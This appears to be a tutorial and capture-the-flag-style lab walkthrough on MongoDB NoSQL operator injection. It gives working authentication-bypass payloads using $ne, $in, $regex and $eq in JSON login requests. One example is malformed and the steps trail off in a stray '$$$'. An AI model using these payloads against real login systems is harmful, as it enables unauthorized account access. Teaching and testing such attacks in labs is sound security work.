NoSQL operator injection

NoSQL Operator Injection

NoSQL databases often use query operators, which provide ways to specify conditions that data must meet to be included in the query result. Examples of MongoDB query operators include:

  • $where - Matches documents that satisfy a JavaScript expression.

  • $ne - Matches all values that are not equal to a specified value.

  • $in - Matches all of the values specified in an array.

  • $regex - Selects documents where values match a specified regular expression.

You may be able to inject query operators to manipulate NoSQL queries. To do this, systematically submit different operators into a range of user inputs, then review the responses for error messages or other changes.

Submitting query operators

In JSON messages, you can insert query operators as nested objects. For example, {"username":"wiener"} becomes {"username":{"$ne":"invalid"}}.

For URL-based inputs, you can insert query operators via URL parameters. For example, username=wiener becomes username[$ne]=invalid. If this doesn't work, you can try the following:

  1. Convert the request method from GET to POST.

  2. Change the Content-Type header to application/json.

  3. Add JSON to the message body.

  4. Inject query operators in the JSON.

Note

You can use the Content Type Converter extension to automatically convert the request method and change a URL-encoded POST request to JSON.

Detecting operator injection in MongoDB

Consider a vulnerable application that accepts a username and password in the body of a POST request:

{"username":"wiener","password":"peter"}

Test each input with a range of operators. For example, to test whether the username input processes the query operator, you could try the following injection:

{"username":{"$ne":"invalid"},"password":{"peter"}}

If the $ne operator is applied, this queries all users where the username is not equal to invalid.

If both the username and password inputs process the operator, it may be possible to bypass authentication using the following payload:

{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}

This query returns all login credentials where both the username and password are not equal to invalid. As a result, you're logged into the application as the first user in the collection.

To target an account, you can construct a payload that includes a known username, or a username that you've guessed. For example:

{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}

Lab

The login functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection using MongoDB operators.

To solve the lab, log into the application as the administrator user.

You can log in to your own account using the following credentials: wiener:peter.

Steps

  • Open Burp suite

  • Visit the target website and click on Login

  • Send the Post login request to repeater

  • Change the Json as

{"username":{
"$regex": "admin"
},"password":{"$ne":""
}}
  • This will give us the admin username as admini94tuz8d

  • Now again click on login and in the proxy tab change the json as

{"username":{
"$eq": "admini94tuz8d"
},"password":{"$ne":""
}}
  • $$$

Last updated